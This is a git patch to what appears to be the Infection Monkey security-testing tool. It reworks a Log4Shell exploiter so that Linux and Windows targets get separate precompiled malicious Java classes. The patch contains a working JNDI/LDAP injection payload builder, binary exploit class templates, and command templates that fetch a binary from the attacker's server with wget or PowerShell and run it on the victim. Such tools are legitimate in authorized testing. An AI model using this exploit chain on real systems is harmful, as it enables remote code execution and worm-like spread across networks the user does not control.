From e69639b426a65f212a898d097beef25843e58bc4 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 4 Jan 2022 16:09:19 +0200 Subject: [PATCH] Agent: use separate java classes for windows and linux in log4shell Linux and windows targets should use different java classes, because one is compiled to be launched in /bin/bash, another in cmd.exe. We can't just inject the whole command, because Runtime.getRuntime().exec() interprets the string in strange ways --- monkey/infection_monkey/exploit/log4shell.py | 49 +++++++++++++++--- .../log4shell_utils/Exploit.class.template | Bin 462 -> 0 bytes .../LinuxExploit.class.template | Bin 0 -> 523 bytes .../WindowsExploit.class.template | Bin 0 -> 523 bytes .../log4shell_utils/exploit_builder.py | 12 ++--- monkey/infection_monkey/model/__init__.py | 12 +++++ 6 files changed, 58 insertions(+), 15 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index a5f9e17a5..b7c1b2133 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -7,10 +7,21 @@ import requests from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode +from infection_monkey.exploit.log4shell_utils.exploit_builder import ( + LINUX_EXPLOIT_TEMPLATE_PATH, + WINDOWS_EXPLOIT_TEMPLATE_PATH, +) +from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, VictimHost +from infection_monkey.model import ( + LOG4SHELL_LINUX_COMMAND, + LOG4SHELL_WINDOWS_COMMAND, + MONKEY_ARG, + VictimHost, +) from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path logger = logging.getLogger(__name__) @@ -41,8 +52,7 @@ class Log4ShellExploiter(WebRCE): return False logger.info("Started http server on %s", http_path) - commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} - command = self.get_command(paths["dest_path"], http_path, commands) + command = self.build_command(paths["dest_path"], http_path) java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) @@ -59,11 +69,9 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - payload = {"uname": LDAP_PAYLOAD, "password": "m0nk3y"} + payload = {"uname": self.build_ldap_payload(), "password": "m0nk3y"} try: - response = requests.post( - Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False - ) + requests.post(Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False) except requests.ReadTimeout: logger.error("Couldn't send request to the vulnerable machine") return False @@ -78,8 +86,33 @@ class Log4ShellExploiter(WebRCE): ldap.stop() return True + def build_ldap_payload(self): + interface_ip = get_interface_to_target(self.host.ip_addr) + return f"${{jndi:ldap://{interface_ip}:{Log4ShellExploiter.LDAP_PORT}/dn=Exploit}}" + + # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command + def build_command(self, path, http_path): + # Build command to execute + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=None + ) + if "linux" in self.host.os["type"]: + base_command = LOG4SHELL_LINUX_COMMAND + else: + base_command = LOG4SHELL_WINDOWS_COMMAND + + return base_command % { + "monkey_path": path, + "http_path": http_path, + "monkey_type": MONKEY_ARG, + "parameters": monkey_cmd, + } + def build_java_class(self, exploit_command: str) -> bytes: - return build_exploit_bytecode(exploit_command) + if "linux" in self.host.os["type"]: + return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH) + else: + return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) def upload_monkey(self, url, commands=None): pass diff --git a/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template deleted file mode 100644 index 9160de8adf930ed7f9b1b4bc748512642e77d189..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 462 zcmZXQO;5r=5Qg6^g@sza#cxbV4}u4|c!PK$co9D$M$cv4kj2uHvKao6XD(_y_yhb= z#%V)<#68UH%=^4E+5P$b`UY^0V+$Nb3ni4(*p70AV~1mxV~-)#R=&~~42gQF)6!KC$iiE6q=#9Zr#s(t;V#? z8cMw?D)mP1AJd{|$+;8^C-n`ruS4YzTbqWvFc5M&ZJ~w~eOh!3(A$xrXi-(A%qS;M zKfo4rVc4RWiklH=uh33x1#+J-N{M%vPj4`<7BQJ2E=hXi%^^Y2BwrF)nv|uA!{~8R K2+mV!pzsG1(OP2w diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template new file mode 100644 index 0000000000000000000000000000000000000000..dc1ffff7ac575863a6aadbb66f8188d8b379a0cf GIT binary patch literal 523 zcmZWl%TB^j5IwgPZmk6r#0Lt9xBwIF#vR0s!HxKcB^qK}lzM|#u_aIpf8?5t8Wa5h zKgu{o0vPXN=FXWjXC7bQ@1Fqnv8_YLl8zLXIaV~RYFN{d4uExz4UP;)mLXD+uJjKW zLdDW0gL>%Q3Wj)1y5h9|*c9Em-E0%0Rh;&i8MS=dc{s5Gb{v{*|y!5Y5860wivkCl&;ykV^DS-nxjxC7}!FAAvq;i z2af3Y(sPMFmj5Gm*1Q*v&#*Wxx#+vTe585wmhdM*s#vQ1Q0oYf(A*o8$Ol4= zP(rmDY9eek!ik9W0)F)j^>{cUrAb+%UV&H)A+jpcB# zlyQm#Fy6(?oik_7Jifl)KLH%$P=$&O6)9|TY$@1Qu%jUD1G^l192t%*L#SpsmUqGs zD3)#+_}?T75FG zUCS%?j3-0GIy8=)hJEB2Vm?-}4X0bty`klF8MxW+l*NP!rHV;&6bc0m2PiNkm*o1y z6a&w49pcaB|A<|+d&2Y>;>(hovEx~Nl2yCHTLh_Msqv3frNwCi>Rv3~ucUuRtgcpE z4_#A?MpfjoMhEtv1m-VEHcU~5JR=`GdIg)(hao~XGz005h%Ts21ZQaO4N~X>fmR?P z>n%AE)LX$sNPhvpdxm^IosrU{tWYmsEP?=88EF#8l5~tB4(Wj-?)OVjC?WX+5WQ%Y literal 0 HcmV?d00001 diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py index 6296884a9..831ddfc05 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -3,7 +3,8 @@ from pathlib import Path # This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce -EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template" +LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template" +WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template" INJECTION_TAG = "###" @@ -11,16 +12,13 @@ class InvalidExploitTemplateError(Exception): pass -def build_exploit_bytecode( - payload_command: str, exploit_template_path: Path = EXPLOIT_TEMPLATE_PATH -) -> bytes: +def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes: """ Build a payload used to exploit log4shell :param str payload_command: The command that will be executed on the remote host. :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with the placeholder "###". This placeholder will be overwritten - with the contents of payload_command. Defaults to - `EXPLOIT_TEMPLATE_PATH` + with the contents of payload_command. :return: Java bytecode that will execute the payload :rtype: bytes """ @@ -36,7 +34,7 @@ def _load_template_bytecode(exploit_template_path: Path) -> bytes: if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"): raise InvalidExploitTemplateError( - f'The file "{EXPLOIT_TEMPLATE_PATH}" is not a compiled Java class' + f'The file "{exploit_template_path}" is not a compiled Java class' ) return template_bytecode diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 7c39075be..1edb2db40 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -60,4 +60,16 @@ HADOOP_LINUX_COMMAND = ( "&& %(monkey_path)s %(monkey_type)s %(parameters)s" ) +LOG4SHELL_LINUX_COMMAND = ( + "wget -O %(monkey_path)s %(http_path)s ;" + " chmod +x %(monkey_path)s ;" + " %(monkey_path)s %(monkey_type)s %(parameters)s" + # "touch /tmp/test_with_new" +) + +LOG4SHELL_WINDOWS_COMMAND = ( + 'powershell -NoLogo -Command "' + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; " + ' %(monkey_path)s %(monkey_type)s %(parameters)s"' +) DOWNLOAD_TIMEOUT = 180